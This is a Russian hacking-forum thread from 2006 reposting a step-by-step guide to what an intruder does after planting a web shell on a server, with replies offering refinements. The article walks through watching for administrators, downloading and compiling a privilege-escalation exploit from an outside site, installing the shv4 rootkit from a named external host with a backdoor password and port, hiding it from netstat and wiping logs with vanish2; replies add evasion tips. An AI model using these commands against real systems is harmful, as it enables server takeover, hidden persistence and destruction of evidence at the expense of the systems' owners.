Статьи Cистема под ударом.

Discussion in 'Статьи' started by Utochka, 6 Jul 2006.

  1. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Меня часто спрашивают, что делать, после того как шелл был залит и получен доступ к файловой системе удаленной системы.
    Поэтому я решил написать небольшой мануал о том, что же все-таки делать после того как ты залил шелл и оказался по ту сторону


    сайта, то есть на сервере.

    Ну приступим.

    Допустим мы с вами воспользовались найденной уязвимостью и нам удалось оказаться по ту сторону сайта, на сервере.

    1. Есть ли кто?

    Для начала надо посмотреть есть ли кто нить в системе кроме нас, есть ли админы, как давно заходил админ.
    Все это можно проделать командой

    Code:
    who или last -n 10
    допустим мы скомандовали who и в ответ получили вот это

    Code:
    [xzone@hahost ~]$ who
    xzone	pts/3		Jul  5 09:44 (89.184.2.9)
    
    как видим в системе сейчас мы одни. Теперь скомандуем last - 10 и посмотрим историю входов, а точнее последние 10 входов.

    Code:
    [xzone@hahost ~]$ last -n 10
    xzone	pts/3		89.184.*.*	   Wed Jul  5 09:44   still logged in
    xzone	pts/3		89.184.*.*	   Wed Jul  5 09:44 - 09:44  (00:00)
    ljsoft   ftpd13508	82.162.12.215	Wed Jul  5 09:41 - 09:41  (00:00)
    ljsoft   ftpd10081	82.162.12.215	Wed Jul  5 09:37   still logged in
    admin@wo ftpd10074	72.9.238.114	 Wed Jul  5 09:37 - 09:37  (00:00)
    ljsoft   ftpd7911	 82.162.12.215	Wed Jul  5 09:33 - 09:34  (00:00)
    ljsoft   ftpd7822	 82.162.12.215	Wed Jul  5 09:33 - 09:33  (00:00)
    ljsoft   ftpd7714	 82.162.12.215	Wed Jul  5 09:33   still logged in
    ljsoft   ftpd20043	82.162.12.100	Wed Jul  5 09:09 - 09:12  (00:02)
    backup   ftpd32504	127.0.0.1		Wed Jul  5 05:23 - 05:23  (00:00)
    
    wtmp begins Sat Jul  1 05:01:35 2006
    
    так как сечас в системе root'а нет поэтому мы можем спокойно работать дальше. Но стоит изредка проверять, не пришел ли админ
    сервака, чтобы не пропалиться.

    2. Куда мы попали?

    Настало время осмотреться, куда же мы все-таки попали. Для этого достаточно выполнить команду uname -a. Вывод, которой нам
    повествует о том, какая же это система.

    Code:
    Linux 2.6.8-022stab077-smp-hb #4 SMP Fri Jun 23 22:59:49 MSD 2006 x86_64 x86_64 x86_64 GNU/Linux
    Теперь мы знаем, куда мы попали.

    3. Собираем инфу о системе.

    Наверное, самый важный момент это собрать как можно больше информации об удаленной системе. Ну, версию оси мы уже выяснили
    командой uname -a. Теперь выясним, какие же качалки присутствуют на сервере, а также есть ли компилятор gcc. Это понадобиться


    нам для того, чтобы в дальнейшем мы смогли залить сплойт, если собираемся поэксплуатировать систему.

    Выполним следующие команды и узнаем, какие качалки есть.

    Code:
    [xzone@hahost ~]$ which lynx;which links;which get;which wget;which fetch;which curl
    /usr/bin/lynx
    /usr/bin/which: no links in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
    /usr/bin/which: no get in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
    /usr/bin/wget
    /usr/bin/which: no fetch in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
    /usr/bin/curl
    
    проверим, есть ли компилятор

    Code:
    [xzone@hahost ~]$ which gcc
    /usr/bin/gcc
    
    ну вот мы выяснили, что на серваке есть wget и curl, а также есть компилятор gcc. Идем дальше.

    4. Подбираем сплойт.

    Ну, подбор сплойта это даже тема отдельной статьи, так как сплойтов великое множество. Да и система, приведенная нами в

    пример
    не очень удачна, так как на ней многие сплойты просто не компиляться (x86_64 x86_64 x86_64 GNU/Linux). Архитектура понимаешь!
    Так что допустим мы нашли сплойт под эту версию и теперь мы его хотим заюзать.

    5. Юзаем сплойт.

    Как уже было сказано сплойт мы нашли, осталось дело за малым залить его и запустить ). Для этого перейдем в папку /tmp. Папка


    /tmp всегда открыта для записи, что собственно нам и нужно.

    командой

    Code:
    cd /tmp 
    мы переходим в папку. Теперь заливаем туда найденный нами сплойт качалкой wget

    Code:
    wget http://site.ru/sploit.c
    если же нету качалки wget то мона заюзать curl ну или те которые есть.

    Code:
    curl http://site.ru/sploit.c > sploit.c
    далее выполним команду

    Code:
    ls -al sploit.c
    
    чем собственно и проверим залился ли наш сплойт. Если сплойт удачно залился, надо его откомпилить. Для этого скомандуем вот
    так (Для разных сплойтов может быть по разному, привожу пример простейшего случая!!!)

    Code:
    gcc sploit.c -o sploit
    допустим наш сплойт скомпилился на ура. Теперь дадим егму нужные права на выполнение. Делается это командой chmod с
    различными параметрами. Нам нужен параметр +x, который дает права на запуск.

    Code:
    chmod +x sploit
    и наконец запускаем.

    Code:
    ./sploit
    после работы сплойта проверим свои права в системе командой id

    если мы увидим что-то врожде этого

    uid=0(root) gid=0(root)

    то самое время кричать УРААА!!! Это значит, что мы рут!

    А если права остануться что и прежде значит облом.

    6. Закрепляемся в ситеме

    Закрепление в системе происходит по средством руткита. Для этого скачиваем руткит-возьмём shv4.

    Code:
    wget http://splo1t.narod.ru/rootkits/shv4.tar.gz
    tar xzf shv4.tar.gz
    cd shv4
    chmod +x setup
    ./setup root  1280
    где pass(пароль) и 1280(порт) ваши значения. Чтобы избежать проблем не надо вешать реткит на высокий порт.
    Заходит в putty указываем сайт, порт и конектимся. Имя root,а пароль тот что вы указали при настройке.
    В моём случае это root.

    После того как мы зашли, проверим, светиться ли нащ порт. Выполним команду

    Code:
    nestat -an 
    
    Как видите заданный порт не где не светится,а значит мы освободили себя от зоркого глаза админа
    Осталось, почистить логи.

    7. Чистим логи.

    Но после всех наших преключений остануться логи. Все наши действия будут записаны, для хакера это смерть! Поэтому их надо
    почистить. Для чистки логов я пользуюсь такой замечательной программой как vanish2. vanish2 - одна из лучших под *nix.

    скачиваем vanish2

    ставим права на запуск
    Code:
    chmod +x vanish2.
    Собираем

    Code:
    gcc vanish2.c –o vanish
    Запускаем:
    Code:
    ./vanish root name_site 127.0.0.1 
    Где 127.0.0.1 ваш реальный ip.
    Если мы увидим надпись V_A_N_I_S_H_E_D_! то значит все ok! Мы все почистили.


    Специально для Xzone.org.ru.
    Автор: NEO
    Изначальна статья была размещена на http://xzone.org.ru/showthread.php?t=58
     
    2 people like this.
  2. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Респект, только вместо этого
    можно
    Code:
    [xzone@hahost ~]$ which lynx links get wget fetch curl
    :)
     
  3. bl4ck-cat

    bl4ck-cat Elder - Старейшина

    Joined:
    17 Jun 2006
    Messages:
    52
    Likes Received:
    12
    Reputations:
    10
    http://forum.antichat.ru/thread17581.html - статья Desr0w
     
  4. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    та описано получение рута, а у меня просто общий случай
    так работает не всегда
     
  5. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    Согласен с Bl4ck-cat.
    Отличаеться только тем, что рассматривается компиляция сплойтов и ...
     
  6. KseZ0RG

    KseZ0RG New Member

    Joined:
    3 Jul 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Так, небольшие замечания... :D
    Админ скорее всего не зайдет под рутом... Ведь для чего существует тогда комадна SU?

    Можно и не ставить -- gcc всегда делает бинарник исполняемым...

    З.Ы. Перед запуском руткита неплохо бы посмотреть настройки фаера, а то мож порт закрыт на входящие...
     
    #6 KseZ0RG, 6 Jul 2006
    Last edited: 6 Jul 2006
  7. DisturbeR

    DisturbeR Elder - Старейшина

    Joined:
    11 Mar 2006
    Messages:
    95
    Likes Received:
    40
    Reputations:
    25
    Извините за излишнюю тупорылость, но мне просто интересно кто ни будь вообще набирал в линух консоли команду who. Или все откуда-то это переписывают? Сколько раз не пробовал всегда облом :) , пока случайно не набрал команду w и не получил, то что нужно.
    Я, было, думал, что ее называют who, а пишут w. Но у автора явно видно, что он вводит именно who и получает результат. Сейчас попробовал на нескольких веб-шелах и нихера who - нет, w – есть. Толи гоню, толи старею :)
     
  8. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    Да ты прав, тоже щас на нескольких проверил. Who - нет, w - есть.
     
  9. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    всегда юзал who! всегда пахала